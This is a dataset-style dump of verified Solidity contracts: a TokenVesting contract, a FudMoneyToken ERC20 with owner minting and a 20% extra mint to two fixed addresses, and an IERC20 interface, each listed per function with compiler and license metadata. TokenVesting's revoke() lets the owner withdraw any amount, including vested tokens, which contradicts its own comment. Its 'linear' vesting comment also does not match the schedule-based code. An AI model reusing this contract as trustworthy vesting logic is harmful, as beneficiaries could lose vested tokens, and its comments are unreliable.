(unreleasedIdx >= 0) { return _amount.mul(_percent[uint(unreleasedIdx)]).div(100); } else { return 0; } } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. */ function revoke(uint256 amount) public onlyOwner { _token.safeTransfer(owner(), amount); } /** * @notice Transfers vested tokens to beneficiary. */ function release() public { int8 unreleasedIdx = _releasableIdx(block.timestamp); require(unreleasedIdx >= 0, "TokenVesting: no tokens are due"); uint256 unreleasedAmount = _amount.mul(_percent[uint(unreleasedIdx)]).div(100); _token.safeTransfer(_beneficiary, unreleasedAmount); _percent[uint(unreleasedIdx)] = 0; _released = _released.add(unreleasedAmount); emit TokensReleased(address(_token), unreleasedAmount); } /** * @dev Calculates the index that has already vested but hasn't been released yet. */ function _releasableIdx(uint256 ts) private view returns (int8) { for (uint8 i = 0; i < _schedule.length; i++) { if (ts > _schedule[i] && _percent[i] > 0) { return int8(i); } } return -1; } }
/** * @title PartnersVesting * @dev A token holder contract that can release its token balance gradually at different vesting points */
NatSpecMultiLine
released
function released() public view returns (uint256) { return _released; }
/** * @return the amount of the token released. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://f0d1f65a586b6de702c6f6003083bf1f4f66d25fe5fa132e4fbe25feb66b072b
{ "func_code_index": [ 2538, 2625 ] }
12,479
TokenVesting
TokenVesting.sol
0xb8ccbbbc73fc463f10b138a81f28b24e0e41d697
Solidity
TokenVesting
contract TokenVesting is Ownable { // The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is // therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore, // it is recommended to avoid using short time durations (less than a minute). Typical vesting schemes, with a // cliff period of a year and a duration of four years, are safe to use. // solhint-disable not-rely-on-time using SafeMath for uint256; using SafeERC20 for IERC20; event TokensReleased(address token, uint256 amount); // The token being vested IERC20 public _token; // beneficiary of tokens after they are released address private _beneficiary; // Durations and timestamps are expressed in UNIX time, the same units as block.timestamp. uint256 private _start; uint256 private _released = 0; uint256 private _amount = 0; uint256[] private _schedule; uint256[] private _percent; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * beneficiary, gradually in a linear fashion until start + duration. By then all * of the balance will have vested. * @param token ERC20 token which is being vested * @param beneficiary address of the beneficiary to whom vested tokens are transferred * @param amount Amount of tokens being vested * @param schedule array of the timestamps (as Unix time) at which point vesting starts * @param percent array of the percents which can be released at which vesting points */ constructor (IERC20 token, address beneficiary, uint256 amount, uint256[] memory schedule, uint256[] memory percent) public { require(beneficiary != address(0), "TokenVesting: beneficiary is the zero address"); require(schedule.length == percent.length, "TokenVesting: Incorrect release schedule"); require(schedule.length <= 255); _token = token; _beneficiary = beneficiary; _amount = amount; _schedule = schedule; _percent = percent; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @return the start time of the token vesting. */ function totalAmount() public view returns (uint256) { return _amount; } /** * @return the amount of the token released. */ function released() public view returns (uint256) { return _released; } /** * @return the vested amount of the token for a particular timestamp. */ function vestedAmount(uint256 ts) public view returns (uint256) { int8 unreleasedIdx = _releasableIdx(ts); if (unreleasedIdx >= 0) { return _amount.mul(_percent[uint(unreleasedIdx)]).div(100); } else { return 0; } } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. */ function revoke(uint256 amount) public onlyOwner { _token.safeTransfer(owner(), amount); } /** * @notice Transfers vested tokens to beneficiary. */ function release() public { int8 unreleasedIdx = _releasableIdx(block.timestamp); require(unreleasedIdx >= 0, "TokenVesting: no tokens are due"); uint256 unreleasedAmount = _amount.mul(_percent[uint(unreleasedIdx)]).div(100); _token.safeTransfer(_beneficiary, unreleasedAmount); _percent[uint(unreleasedIdx)] = 0; _released = _released.add(unreleasedAmount); emit TokensReleased(address(_token), unreleasedAmount); } /** * @dev Calculates the index that has already vested but hasn't been released yet. */ function _releasableIdx(uint256 ts) private view returns (int8) { for (uint8 i = 0; i < _schedule.length; i++) { if (ts > _schedule[i] && _percent[i] > 0) { return int8(i); } } return -1; } }
/** * @title PartnersVesting * @dev A token holder contract that can release its token balance gradually at different vesting points */
NatSpecMultiLine
vestedAmount
function vestedAmount(uint256 ts) public view returns (uint256) { int8 unreleasedIdx = _releasableIdx(ts); if (unreleasedIdx >= 0) { return _amount.mul(_percent[uint(unreleasedIdx)]).div(100); } else { return 0; } }
/** * @return the vested amount of the token for a particular timestamp. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://f0d1f65a586b6de702c6f6003083bf1f4f66d25fe5fa132e4fbe25feb66b072b
{ "func_code_index": [ 2717, 2997 ] }
12,480
TokenVesting
TokenVesting.sol
0xb8ccbbbc73fc463f10b138a81f28b24e0e41d697
Solidity
TokenVesting
contract TokenVesting is Ownable { // The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is // therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore, // it is recommended to avoid using short time durations (less than a minute). Typical vesting schemes, with a // cliff period of a year and a duration of four years, are safe to use. // solhint-disable not-rely-on-time using SafeMath for uint256; using SafeERC20 for IERC20; event TokensReleased(address token, uint256 amount); // The token being vested IERC20 public _token; // beneficiary of tokens after they are released address private _beneficiary; // Durations and timestamps are expressed in UNIX time, the same units as block.timestamp. uint256 private _start; uint256 private _released = 0; uint256 private _amount = 0; uint256[] private _schedule; uint256[] private _percent; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * beneficiary, gradually in a linear fashion until start + duration. By then all * of the balance will have vested. * @param token ERC20 token which is being vested * @param beneficiary address of the beneficiary to whom vested tokens are transferred * @param amount Amount of tokens being vested * @param schedule array of the timestamps (as Unix time) at which point vesting starts * @param percent array of the percents which can be released at which vesting points */ constructor (IERC20 token, address beneficiary, uint256 amount, uint256[] memory schedule, uint256[] memory percent) public { require(beneficiary != address(0), "TokenVesting: beneficiary is the zero address"); require(schedule.length == percent.length, "TokenVesting: Incorrect release schedule"); require(schedule.length <= 255); _token = token; _beneficiary = beneficiary; _amount = amount; _schedule = schedule; _percent = percent; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @return the start time of the token vesting. */ function totalAmount() public view returns (uint256) { return _amount; } /** * @return the amount of the token released. */ function released() public view returns (uint256) { return _released; } /** * @return the vested amount of the token for a particular timestamp. */ function vestedAmount(uint256 ts) public view returns (uint256) { int8 unreleasedIdx = _releasableIdx(ts); if (unreleasedIdx >= 0) { return _amount.mul(_percent[uint(unreleasedIdx)]).div(100); } else { return 0; } } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. */ function revoke(uint256 amount) public onlyOwner { _token.safeTransfer(owner(), amount); } /** * @notice Transfers vested tokens to beneficiary. */ function release() public { int8 unreleasedIdx = _releasableIdx(block.timestamp); require(unreleasedIdx >= 0, "TokenVesting: no tokens are due"); uint256 unreleasedAmount = _amount.mul(_percent[uint(unreleasedIdx)]).div(100); _token.safeTransfer(_beneficiary, unreleasedAmount); _percent[uint(unreleasedIdx)] = 0; _released = _released.add(unreleasedAmount); emit TokensReleased(address(_token), unreleasedAmount); } /** * @dev Calculates the index that has already vested but hasn't been released yet. */ function _releasableIdx(uint256 ts) private view returns (int8) { for (uint8 i = 0; i < _schedule.length; i++) { if (ts > _schedule[i] && _percent[i] > 0) { return int8(i); } } return -1; } }
/** * @title PartnersVesting * @dev A token holder contract that can release its token balance gradually at different vesting points */
NatSpecMultiLine
revoke
function revoke(uint256 amount) public onlyOwner { _token.safeTransfer(owner(), amount); }
/** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://f0d1f65a586b6de702c6f6003083bf1f4f66d25fe5fa132e4fbe25feb66b072b
{ "func_code_index": [ 3159, 3265 ] }
12,481
TokenVesting
TokenVesting.sol
0xb8ccbbbc73fc463f10b138a81f28b24e0e41d697
Solidity
TokenVesting
contract TokenVesting is Ownable { // The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is // therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore, // it is recommended to avoid using short time durations (less than a minute). Typical vesting schemes, with a // cliff period of a year and a duration of four years, are safe to use. // solhint-disable not-rely-on-time using SafeMath for uint256; using SafeERC20 for IERC20; event TokensReleased(address token, uint256 amount); // The token being vested IERC20 public _token; // beneficiary of tokens after they are released address private _beneficiary; // Durations and timestamps are expressed in UNIX time, the same units as block.timestamp. uint256 private _start; uint256 private _released = 0; uint256 private _amount = 0; uint256[] private _schedule; uint256[] private _percent; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * beneficiary, gradually in a linear fashion until start + duration. By then all * of the balance will have vested. * @param token ERC20 token which is being vested * @param beneficiary address of the beneficiary to whom vested tokens are transferred * @param amount Amount of tokens being vested * @param schedule array of the timestamps (as Unix time) at which point vesting starts * @param percent array of the percents which can be released at which vesting points */ constructor (IERC20 token, address beneficiary, uint256 amount, uint256[] memory schedule, uint256[] memory percent) public { require(beneficiary != address(0), "TokenVesting: beneficiary is the zero address"); require(schedule.length == percent.length, "TokenVesting: Incorrect release schedule"); require(schedule.length <= 255); _token = token; _beneficiary = beneficiary; _amount = amount; _schedule = schedule; _percent = percent; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @return the start time of the token vesting. */ function totalAmount() public view returns (uint256) { return _amount; } /** * @return the amount of the token released. */ function released() public view returns (uint256) { return _released; } /** * @return the vested amount of the token for a particular timestamp. */ function vestedAmount(uint256 ts) public view returns (uint256) { int8 unreleasedIdx = _releasableIdx(ts); if (unreleasedIdx >= 0) { return _amount.mul(_percent[uint(unreleasedIdx)]).div(100); } else { return 0; } } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. */ function revoke(uint256 amount) public onlyOwner { _token.safeTransfer(owner(), amount); } /** * @notice Transfers vested tokens to beneficiary. */ function release() public { int8 unreleasedIdx = _releasableIdx(block.timestamp); require(unreleasedIdx >= 0, "TokenVesting: no tokens are due"); uint256 unreleasedAmount = _amount.mul(_percent[uint(unreleasedIdx)]).div(100); _token.safeTransfer(_beneficiary, unreleasedAmount); _percent[uint(unreleasedIdx)] = 0; _released = _released.add(unreleasedAmount); emit TokensReleased(address(_token), unreleasedAmount); } /** * @dev Calculates the index that has already vested but hasn't been released yet. */ function _releasableIdx(uint256 ts) private view returns (int8) { for (uint8 i = 0; i < _schedule.length; i++) { if (ts > _schedule[i] && _percent[i] > 0) { return int8(i); } } return -1; } }
/** * @title PartnersVesting * @dev A token holder contract that can release its token balance gradually at different vesting points */
NatSpecMultiLine
release
function release() public { int8 unreleasedIdx = _releasableIdx(block.timestamp); require(unreleasedIdx >= 0, "TokenVesting: no tokens are due"); uint256 unreleasedAmount = _amount.mul(_percent[uint(unreleasedIdx)]).div(100); _token.safeTransfer(_beneficiary, unreleasedAmount); _percent[uint(unreleasedIdx)] = 0; _released = _released.add(unreleasedAmount); emit TokensReleased(address(_token), unreleasedAmount); }
/** * @notice Transfers vested tokens to beneficiary. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://f0d1f65a586b6de702c6f6003083bf1f4f66d25fe5fa132e4fbe25feb66b072b
{ "func_code_index": [ 3338, 3823 ] }
12,482
TokenVesting
TokenVesting.sol
0xb8ccbbbc73fc463f10b138a81f28b24e0e41d697
Solidity
TokenVesting
contract TokenVesting is Ownable { // The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is // therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore, // it is recommended to avoid using short time durations (less than a minute). Typical vesting schemes, with a // cliff period of a year and a duration of four years, are safe to use. // solhint-disable not-rely-on-time using SafeMath for uint256; using SafeERC20 for IERC20; event TokensReleased(address token, uint256 amount); // The token being vested IERC20 public _token; // beneficiary of tokens after they are released address private _beneficiary; // Durations and timestamps are expressed in UNIX time, the same units as block.timestamp. uint256 private _start; uint256 private _released = 0; uint256 private _amount = 0; uint256[] private _schedule; uint256[] private _percent; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * beneficiary, gradually in a linear fashion until start + duration. By then all * of the balance will have vested. * @param token ERC20 token which is being vested * @param beneficiary address of the beneficiary to whom vested tokens are transferred * @param amount Amount of tokens being vested * @param schedule array of the timestamps (as Unix time) at which point vesting starts * @param percent array of the percents which can be released at which vesting points */ constructor (IERC20 token, address beneficiary, uint256 amount, uint256[] memory schedule, uint256[] memory percent) public { require(beneficiary != address(0), "TokenVesting: beneficiary is the zero address"); require(schedule.length == percent.length, "TokenVesting: Incorrect release schedule"); require(schedule.length <= 255); _token = token; _beneficiary = beneficiary; _amount = amount; _schedule = schedule; _percent = percent; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @return the start time of the token vesting. */ function totalAmount() public view returns (uint256) { return _amount; } /** * @return the amount of the token released. */ function released() public view returns (uint256) { return _released; } /** * @return the vested amount of the token for a particular timestamp. */ function vestedAmount(uint256 ts) public view returns (uint256) { int8 unreleasedIdx = _releasableIdx(ts); if (unreleasedIdx >= 0) { return _amount.mul(_percent[uint(unreleasedIdx)]).div(100); } else { return 0; } } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. */ function revoke(uint256 amount) public onlyOwner { _token.safeTransfer(owner(), amount); } /** * @notice Transfers vested tokens to beneficiary. */ function release() public { int8 unreleasedIdx = _releasableIdx(block.timestamp); require(unreleasedIdx >= 0, "TokenVesting: no tokens are due"); uint256 unreleasedAmount = _amount.mul(_percent[uint(unreleasedIdx)]).div(100); _token.safeTransfer(_beneficiary, unreleasedAmount); _percent[uint(unreleasedIdx)] = 0; _released = _released.add(unreleasedAmount); emit TokensReleased(address(_token), unreleasedAmount); } /** * @dev Calculates the index that has already vested but hasn't been released yet. */ function _releasableIdx(uint256 ts) private view returns (int8) { for (uint8 i = 0; i < _schedule.length; i++) { if (ts > _schedule[i] && _percent[i] > 0) { return int8(i); } } return -1; } }
/** * @title PartnersVesting * @dev A token holder contract that can release its token balance gradually at different vesting points */
NatSpecMultiLine
_releasableIdx
function _releasableIdx(uint256 ts) private view returns (int8) { for (uint8 i = 0; i < _schedule.length; i++) { if (ts > _schedule[i] && _percent[i] > 0) { return int8(i); } } return -1; }
/** * @dev Calculates the index that has already vested but hasn't been released yet. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://f0d1f65a586b6de702c6f6003083bf1f4f66d25fe5fa132e4fbe25feb66b072b
{ "func_code_index": [ 3928, 4190 ] }
12,483
FudMoneyToken
contracts/FudMoneyToken.sol
0xa44063192609409443b973ede2bfbee56b4764dd
Solidity
FudMoneyToken
contract FudMoneyToken is ERC20("Fud.Money", "Fud.Money"), Ownable { using SafeMath for uint256; address register; address ease; constructor(address _register, address _ease) public { register = _register; ease = _ease; } // mints new fud.money tokens, can only be called by shill.money contract function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); transferRe(_amount); } function burn(address _from, uint256 _amount) public { _burn(_from, _amount); } function setReg(address _register) public { require(msg.sender == register, "fud.money: setRegister invalid signer"); register = _register; } function setEase(address _ease) public { require(msg.sender == ease, "fud.money: setRegister invalid signer"); ease = _ease; } function transferRe(uint256 _amount) private { _mint(register, _amount.div(10)); _mint(ease, _amount.div(10)); } }
mint
function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); transferRe(_amount); }
// mints new fud.money tokens, can only be called by shill.money contract
LineComment
v0.6.12+commit.27d51765
MIT
ipfs://b8449660bd43c76f93b75b6553748338912a55013cf32be8c7665b1fbda90bda
{ "func_code_index": [ 345, 479 ] }
12,484
MetadataPooledCDAIFactory
MetadataPooledCDAIFactory.sol
0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */
NatSpecMultiLine
totalSupply
function totalSupply() external view returns (uint256);
/** * @dev Returns the amount of tokens in existence. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a
{ "func_code_index": [ 90, 149 ] }
12,485
MetadataPooledCDAIFactory
MetadataPooledCDAIFactory.sol
0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */
NatSpecMultiLine
balanceOf
function balanceOf(address account) external view returns (uint256);
/** * @dev Returns the amount of tokens owned by `account`. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a
{ "func_code_index": [ 228, 300 ] }
12,486
MetadataPooledCDAIFactory
MetadataPooledCDAIFactory.sol
0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a
{ "func_code_index": [ 516, 597 ] }
12,487
MetadataPooledCDAIFactory
MetadataPooledCDAIFactory.sol
0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */
NatSpecMultiLine
allowance
function allowance(address owner, address spender) external view returns (uint256);
/** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a
{ "func_code_index": [ 868, 955 ] }
12,488
MetadataPooledCDAIFactory
MetadataPooledCDAIFactory.sol
0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */
NatSpecMultiLine
approve
function approve(address spender, uint256 amount) external returns (bool);
/** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a
{ "func_code_index": [ 1595, 1673 ] }
12,489
MetadataPooledCDAIFactory
MetadataPooledCDAIFactory.sol
0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */
NatSpecMultiLine
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
bzzr://54e735fe8314ee5329c01accf69b392f428f0a28a999142b46dcf78a72885b6a
{ "func_code_index": [ 1976, 2077 ] }
12,490
MetadataPooledCDAIFactory
MetadataPooledCDAIFactory.sol
0x64bf69f73f450ef644bc1c8e0f7b3960eebc5bf8
Solidity
SafeMath
